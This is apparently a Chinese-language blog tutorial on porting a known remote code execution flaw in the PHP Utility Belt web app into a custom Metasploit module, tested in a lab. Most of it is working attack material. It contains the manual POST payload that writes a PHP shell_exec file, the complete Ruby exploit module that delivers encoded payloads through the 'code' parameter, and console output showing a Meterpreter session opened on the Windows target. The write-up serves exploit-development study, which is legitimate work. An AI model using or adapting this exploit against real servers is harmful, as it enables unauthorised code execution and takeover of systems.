将基于 Web 的 RCE 导入 Metasploit

一、实验环境

攻击机:kali 2019-3

靶机环境:

Windows Server2008 R2 x64

phpStudy 2016 PHP-5.4.45

漏洞:

PHP utility belt远程代码执行漏洞,可参见:https://www.exploit-db.com/exploits/38901

漏洞简要介绍

这个远程代码执行漏洞通过一个POST请求的代码参数触发,服务器在接收到这段精心构造的数据请求并对其进行处理之时就会执行服务器端代码。现在来看看如何对这个漏洞进行手动渗透。

使用fwrite以可写模式打开名为info.php的文件,然后将<?php $a = "net user"; echo shell_exec($a);?>写入到文件中

命令执行之后,将会创建一个名为info.php的新文件,并将PHP中的信息写入到这个文件中。接下来,只需浏览info.php文件,就可以看到执行命令的结果

文件夹中创建了info.php

浏览器访问info.php,该页面列出了所有用户名

二、将 HTTP 渗透模块导入到 Metasploit 中

1、渗透代码

复制代码
    class MetasploitModule <Msf::Exploit::Remote
      include Msf::Exploit::Remote::HttpClient
      def initialize(info={})
        super(update_info(info,
            'Name' => 'PHP Utility Belt Remote Code Execution',
            'Description' => %q{
                This module exploits a remote code execution vulnerability in PHP Utility Belt
              },
            'Author' => 'z9m8r8',
            'DisclosureDate' => '2021-10-03',
            'Platform' => 'PHP',
            'Payload' => {
              'Space' => 2000,
              'DisableNops' => true
            },
            'Targets' => [
              ['PHP Utility Belt',{}]
            ],
            'DefaultTarget' => 0
          ))
        register_options(
          [
            OptString.new('TARGETURI',[true,'The path to PHP Utility Belt','php-utility-belt/ajax.php']),
            OptString.new('CHECKURI',[false,'Checking Purpose','/php-utilitybelt/info.php']),
          ],self.class
        )
      end
      def check
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path),
          'vars_post' => {
          'code' => "fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');"
          }
        )
        resp = send_request_raw(
          {'uri' => normalize_uri(datastore['CHECKURI']),'method' => 'GET'})
        if resp.body =~ /phpinfo()/
          return Exploit::CheckCode::Vulnerable
        else
          return Exploit::CheckCode::Safe
        end
      end
      def exploit 
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path),
          'vars_post' => {
            'code' => payload.encoded
          }
        )
      end
复制代码

2、代码简要分析

因为现在的漏洞在一个Web应用程序中,而不是在之前的那种软件程序中,所以要将DisableNops的值设置为true以关闭攻击载荷中的NOP

漏洞在ajax.php文件中,因此要将TARGETURI的值设置为ajax.php文件的位置。

check 函数

  • 将URI的值设置为以普通格式表示的目标URI
  • POST的参数CODE的值为fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');。
  • 攻击载荷将会创建一个名为info.php的新文件。当代码执行的时候,这个文件将会展示所有的PHP信息。
  • 使用send_request_raw获取新创建的info.php文件的内容
  • 将保存在resp中的body部分与表达式phpinfo()匹配比较,评判漏洞是否有效

exploit 函数分析同理

3、保存路径

root@kali:/usr/share/metasploit-framework/modules/exploits/windows/z9m8r8_test# ls
pcman_cwd_z9m8r8_test.rb php_utility_belt_remote_code_execution.rb

4、代码调试

root@kali:/usr/share/metasploit-framework/modules/exploits/windows/z9m8r8_test# ../../../../tools/dev/msftidy.rb php_utility_belt_remote_code_execution.rb
php_utility_belt_remote_code_execution.rb - [INFO] No CVE references found. Please check before you land!
php_utility_belt_remote_code_execution.rb - [ERROR] Unable to determine super class  #未搞明白!但也没影响到获取Meterpreter
php_utility_belt_remote_code_execution.rb:48 - [WARNING] Spaces at EOL

报错未解决,有会的老哥可评论说下,非常感谢!

5、补充

  在用Metasploit开发基于Web的渗透程序时,最重要的就是要弄清楚相关的Web函数、使用这些函数的方法,这些函数的参数以及知道漏洞的确切位置(该示例中的漏洞所在位置是CODE参数处)。

  Web应用程序使用的重要函数都可以在/usr/share/metasploit-framework/lib/msf/core/exploits/http下的client.rb库文件中找到。另外,在/usr/share/metasploit-framework/lib/rex/proto/http下的client.rb文件和client-request.rb文件包含着关于GET和POST请求的核心变量和方法。

  如果想知道都需要将哪些值传递给这些函数,就需要对REX中的库文件进行研究。 REX库文件提供了与请求类型相关的下列头文件,如下图所示。

三、msf 运行测试

复制代码
    msf5 > use exploit/windows/z9m8r8_test/php_utility_belt_remote_code_execution 
    msf5 exploit(windows/z9m8r8_test/php_utility_belt_remote_code_execution) > set payload php/meterpreter/bind_tcp
    payload => php/meterpreter/bind_tcp
    msf5 exploit(windows/z9m8r8_test/php_utility_belt_remote_code_execution) > set rhost 10.10.10.140
    rhost => 10.10.10.140
    msf5 exploit(windows/z9m8r8_test/php_utility_belt_remote_code_execution) > check
     [*] 10.10.10.140:80 - The target is not exploitable.                  #check函数那个匹配有问题,懒得改了,明白思路即可
    msf5 exploit(windows/z9m8r8_test/php_utility_belt_remote_code_execution) > exploit 
    
    [*] Started bind TCP handler against 10.10.10.140:4444
    [*] Sending stage (38247 bytes) to 10.10.10.140
    [*] Meterpreter session 1 opened (10.10.10.152:46353 -> 10.10.10.140:4444) at 2021-10-02 22:15:27 -0400
    
    meterpreter > sysinfo 
    Computer    : WIN-GOFSH0NNHLM
    OS          : Windows NT WIN-GOFSH0NNHLM 6.1 build 7601 (Windows Server 2008 R2 Enterprise Edition Service Pack 1) i586
    Meterpreter : php/windows
    meterpreter > 
复制代码

 

posted @   z9m8r8  阅读(78)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示